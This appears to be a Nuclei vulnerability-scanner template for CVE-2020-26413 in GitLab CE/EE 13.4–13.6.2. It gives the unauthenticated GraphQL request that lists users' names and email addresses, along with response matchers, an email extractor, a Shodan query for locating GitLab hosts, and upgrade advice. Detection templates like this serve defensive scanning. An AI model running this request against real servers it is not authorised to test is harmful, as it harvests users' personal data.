62 lines
2.1 KiB
YAML
62 lines
2.1 KiB
YAML
id: CVE-2020-26413
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info:
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name: Gitlab CE/EE 13.4 - 13.6.2 - Information Disclosure
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author: _0xf4n9x_,pikpikcu
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severity: medium
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description: GitLab CE and EE 13.4 through 13.6.2 is susceptible to Information disclosure via GraphQL. User email is visible. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
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remediation: |
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Upgrade Gitlab CE/EE to version 13.6.3 or later.
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reference:
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- https://gitlab.com/gitlab-org/gitlab/-/issues/244275
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- https://gitlab.com/gitlab-org/cves/-/blob/master/2020/CVE-2020-26413.json
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- https://nvd.nist.gov/vuln/detail/CVE-2020-26413
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- https://hackerone.com/reports/972355
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
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cvss-score: 5.3
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cve-id: CVE-2020-26413
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cwe-id: CWE-200
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epss-score: 0.65771
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epss-percentile: 0.97553
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cpe: cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*
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metadata:
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max-request: 1
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vendor: gitlab
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product: gitlab
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shodan-query: http.title:"GitLab"
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tags: hackerone,cve,cve2020,gitlab,exposure,enum,graphql
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http:
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- raw:
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- |
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POST /api/graphql HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/json
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{
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"query": "{\nusers {\nedges {\n node {\n username\n email\n avatarUrl\n status {\n emoji\n message\n messageHtml\n }\n }\n }\n }\n }",
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"variables": null,
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"operationName": null
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}
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '"username":'
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- '"avatarUrl":'
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- '"node":'
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condition: and
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- type: status
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status:
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- 200
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extractors:
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- type: json
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json:
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- '.data.users.edges[].node.email'
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part: body
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# digest: 4a0a00473045022049c685a03d50b7e37c79f58bbd1397ea0217b526f2ffdaa8eee4538befa59486022100ca3a5168382be73887df633fc4184473e2453af9bb0852249c694ada0e80c8cf:922c64590222798bb761d5b6d8e72950 |